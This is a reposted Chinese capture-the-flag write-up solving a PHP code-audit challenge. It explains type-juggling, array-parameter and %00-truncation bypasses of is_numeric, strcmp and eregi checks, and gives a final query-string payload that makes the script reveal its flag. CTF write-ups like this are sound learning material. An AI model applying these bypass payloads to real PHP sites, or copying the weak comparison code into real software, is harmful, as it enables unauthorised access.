本文共 2036 字,大约阅读时间需要 6 分钟。
目录
打开题目就是代码审计
2021)?$v1=1:NULL; } if(is_array(@$a["bar2"])){ if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope"); $pos = array_search("nudt", $a["a2"]); $pos===false?die("nope"):NULL; foreach($a["bar2"] as $key=>$val){ $val==="nudt"?die("nope"):NULL; } $v2=1; }}$c=@$_GET['cat'];$d=@$_GET['dog'];if(@$c[1]){ if(!strcmp($c[1],$d) && $c[1]!==$d){ eregi("3|1|c",$d.$c[0])?die("nope"):NULL; strpos(($c[0].$d), "cstc2021")?$v3=1:NULL; }}if($v1 && $v2 && $v3){ include "flag.php"; echo $flag;}?>
粘贴到本地,分析一波
这个代码主要考查的知识点比较杂,包括进行一些绕过,%00截断eregi()函数,用的最多的还是php数组绕过。
整体思路
我们需要输入的参数有三个,并且都是GET方式输入,经过代码执行,$v1,$v2,$v3会从0变为1,就会进行文件包含得到flag。
1. 对$v1进行分析
is_numeric(@$a["bar1"])?die("nope"):NULL; if(@$a["bar1"]){ ($a["bar1"]>2021)?$v1=1:NULL;
因为php的比较会先将两边的数据类型转化为同一类型,然后再进行比较。
如果,$a[“bar1”]=2022a,那么既可以满足不是数字类型,同时进行数据比较的时候也可以满足大于2021。
2. 对$V2进行分析
if(is_array(@$a["bar2"])){ if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope"); $pos = array_search("nudt", $a["a2"]); $pos===false?die("nope"):NULL; foreach($a["bar2"] as $key=>$val){ $val==="nudt"?die("nope"):NULL; } $v2=1;
$a[“bar2”]必须要是五个元素,并且第一个元素需要是数组,
所以构造$a[“bar2”]=[[],1,2,3,4]
同时$a[“a2”]中存在nudt,
并且$a[“bar2”]中没有nudt,所以构造
foo={“bar1”:”2022a”,”bar2”: [[],1,2,3,4],”a2”:[“nudt”]}
3. 对$V3进行分析
$c=@$_GET['cat'];$d=@$_GET['dog'];if(@$c[1]){ if(!strcmp($c[1],$d) && $c[1]!==$d){ eregi("3|1|c",$d.$c[0])?die("nope"):NULL; strpos(($c[0].$d), "cstc2021")?$v3=1:NULL; }
1. GET方式传值cat和dog,然后进行strcmp比较,之前做过类似的题目,可以使用数组和字符串进行比较,返回NULL,同时也满足!==
2. 而eregi是对拼接后的字符串进行匹配(不过该函数有点老了),匹配到则die,
3. 而strpos又需要拼接后的字符串从第二个字符开始就是cstc2021(strpos下标是从0开始的),所以可以用%00进行截断
令%d=%00,$c[0]=acstc2021
这样的话,绕过eregi的同时又可以匹配到cstc2021
$d.$c[0]=%00acstc2021$c[0].$d=acstc2021%00
所以最终的Payload:
?foo={"bar1":"2022a","bar2":[[],2,3,4,5],"a2":["nudt"]}&cat[0]=acstc2021&cat[1][]=&dog=%00
最终得到flag
总结:自己还是学得不到位,这个题目就浪费了许多时间,导致得分太低。本次比赛还是靠队友带了,惭愧。。。未来还有很长的路,加油学!!!!
转载地址:https://blog.csdn.net/RABCDXB/article/details/116462653 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!